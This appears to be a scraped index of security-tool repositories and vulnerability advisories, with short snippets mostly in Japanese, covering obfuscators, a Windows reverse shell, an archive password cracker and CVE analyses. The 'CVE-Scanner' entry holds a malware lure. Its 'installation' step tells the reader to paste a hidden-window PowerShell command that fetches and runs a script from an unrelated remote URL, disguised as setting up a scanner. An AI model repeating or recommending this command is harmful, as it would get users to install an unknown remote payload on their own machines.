pip3line

pip3line 生のバイト列を操作するユーティリティで、広く知られた変換からあまり知られていない変換まで適用可能です。 開発とメインページは次の場所に移転しました： https://github.com/metrodango/pip3line...

ginger

Ginger Ginger 是一个开源安全评估工具，用于评估给定 Pentaho BA 应用实例的安全性。 请记住，该项目仍在开发中，并非所有功能都可能存在或按预期工作。 使用方法 Ginger 只有一个必填参数，即目标 Pentaho 安装的 URL： user@host:$ python gynger.py http://localhost:8080/pentaho 注意：不要包含尾部斜杠 / 这样做将以匿名模式启动 Ginger，功能有限。如果已知有效凭据，则应提供这些凭据： user@host:$ python gynger.py...

ditto

ditto PowerShell難読化ツール Dittoは、tree-sitter-powershell と tree-sitter-javascript をベースにしたPowerShellおよびJavaScript用の難読化ツールです。 コマンドラインでの使用方法 基本的なコマンド構造 ditto-cli オプション CLI引数とオプション 短いオプション| 長いオプション| 説明 ---|---|--- -h| --help| ヘルプ情報を表示して終了します。 -v| --version| バージョン情報を表示して終了します。 -p | --path |...

tlsenum

tlsenum tlsenum は、サーバーがサポートしている TLS 暗号スイートを列挙し、優先順位の高い順にリストアップしようとするコマンドラインツールです。 TLS ClientHello メッセージを送信し、サーバーからの ServerHello 応答を解析することで動作します。 tlsenum は、サーバーがクライアントが示した優先順位を無視して、サーバー側が優先する暗号スイートを決定することを前提としています。これは TLS 仕様で厳密に保証されているわけではありませんが、かなり一般的な実装の詳細のようです。 インストール tlsenum は Python 2.7、3.3、ま...

CVE-2026-4631-cockpit-RCE

CVE-2026-4631 — コード解析 Cockpit: SSHコマンドライン引数インジェクションによる認証不要のリモートコード実行 フィールド| 詳細 ---|--- CVE ID| CVE-2026-4631 GHSA| GHSA-m4gv-x78h-3427 深刻度| Critical CVSS 9.8 影響を受けるバージョン| Cockpit 327 – 359 修正バージョン| Cockpit 360 CWE| CWE-78: OSコマンドインジェクション 認証要件| 不要 報告者| Jelle van der Waa 目次 1. 脆弱性の概要 2. アーキテクチャの背景 ...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

CVE-2026-32722

CVE-2026-32722 Bloomberg Memray のエスケープされていないコマンドライン・メタデータを介した保存型 XSS はじめに Memray （Bloomberg の Python メモリプロファイラ）をレビューしていた際、私はシンプルな疑問を胸にこの問題を発見しました。 攻撃者が制御するランタイム・メタデータは、ブラウザでレンダリングされるレポート出力に、安全でない形で混入し得るのか？ このケースでは、答えはイエスでした。 バグは Memray の HTML...

apache-camel-docling-security-assessment

CVE-2026-40047 - Apache Camel Docling CLI 引数インジェクション コンサルタント形式のサイバーセキュリティレポート Apache Camel Docling の引数検証リスクに関するプロフェッショナルな脆弱性評価レポート。技術的影響、修復、緩和策を含みます。 📍 レポートスナップショット フィールド| 詳細 ---|--- レポートタイプ| 脆弱性評価レポート エンゲージメントコンテキスト| セキュリティ研究 主なフォーカス| アプリケーションセキュリティ 対象読者| セキュリティチーム、エンジニアリングチーム、採用担当者 出力スタイル|...

CVE-2023-21823

CVE-2023-21823 Windows用リバースシェル このリポジトリには、Windowsオペレーティングシステム用のリバースシェルを実装したCコードが含まれています。リバースシェルを使用すると、コマンドラインによるリモートシステム制御が可能になり、感染したマシン上でコマンドを実行できます。 重要 このコードを不正な目的で、またはシステム所有者の許可なく使用することは、違法であり倫理的原則に反します。このコードは教育および研究目的でのみ提供されています。 ビルド プロジェクトをビルドするには、MinGW や Microsoft Visual Studio などのCコンパイラが必要で...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/その他 スキャナー & エクスプロイター。 インストール 1. WIN + R キーを押します 2. 以下のコードをコピーして貼り付け、Enterキーを押します powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC を再起動します 使い方 1. CMD を開きます 2. fexkex IP FOR SCAN...

CVE-2015-1427

CVE-2015-1427 パラメータ -u 単一のurl -l urlファイルを指定 -c コマンドを指定...

CVE-2017-10271

CVE-2017-10271 使用方法: python CVE-2017-10271.py url...

CVE-2023-26256

CVE-2023-26256 -hヘルプ表示 -u単一URL実行 -f一括実行...

hotpot

Hotpot 🍲 Authy / Google Authenticator のコマンドライン版。 Hotpot は、TOTPベースの二要素認証コードを管理する、シンプルで安全なコマンドラインツールです。2FAのシークレットをシステムのキーリングに安全に保存し、必要なときに時間ベースのワンタイムパスワードを生成します。 セキュリティ、パフォーマンス、信頼性のために Rust で構築されています。 特徴 安全な保存 : システムキーリング（Keychain/libsecret/Credential Manager）を使用 TOTP RFC 6238 コード生成:...

CLEANSTART-2024-RH47389 Exiv2 is a C++ library and a command-line utility to read, write, delete and modify Exif, IPTC, XMP and ICC image metadata

Security vulnerability affects the exiv2 package. Exiv2 is a C++ library and a command-line utility to read, write, delete and modify Exif, IPTC, XMP and ICC image metadata...

ZipRarHunter

ZipRarHunter ZipRarHunter は、ワードリストを使用して ZIP および RAR アーカイブファイルのパスワードを解読するために設計された、強力なコマンドライン倫理的ハッキングツールです。暗号化されたアーカイブからのパスワード回復プロセスを自動化します。 特徴 ZipCrypto と AES-256 の両方の暗号化で暗号化された ZIP ファイルの解読 マルチスレッドのブルートフォース攻撃を使用した RAR4 アーカイブの解読 有料版の UnRAR がインストールされている場合は RAR5 もサポート スレッドモードでは --threads デフォルト:...

AlmaLinux 9.6 [TuxCare] Security Update: vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal (ALMALINUX9.6:CLSA-2026:1779806430)

The AlmaLinux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1779806430 advisory. - Vim is an open source, command line text editor. Prior to version 9.2.0435, an OS command injection vulnerability exists in Vim's :find...

Rocky Linux 9 [CIQ] Security Update: python3.11 / python3.11-debug / python3.11-debuginfo / etc (crlsa-2026_6286)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20266286 advisory. python: Python: Command-line option injection in webbrowser.open via crafted URLs CVE-2026-4519 Tenable has extracted the preceding description block directly from...

Rocky Linux 9 [CIQ] Security Update: python3.12 / python3.12-debug / python3.12-debuginfo / etc (crlsa-2026_6285)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20266285 advisory. python: Python: Command-line option injection in webbrowser.open via crafted URLs CVE-2026-4519 Tenable has extracted the preceding description block directly from...

Rocky Linux 9 [CIQ] Security Update: python-unversioned-command / python3 / python3-debug / etc (crlsa-2026_6766)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20266766 advisory. python: Python: Command-line option injection in webbrowser.open via crafted URLs CVE-2026-4519 Tenable has extracted the preceding description block directly from...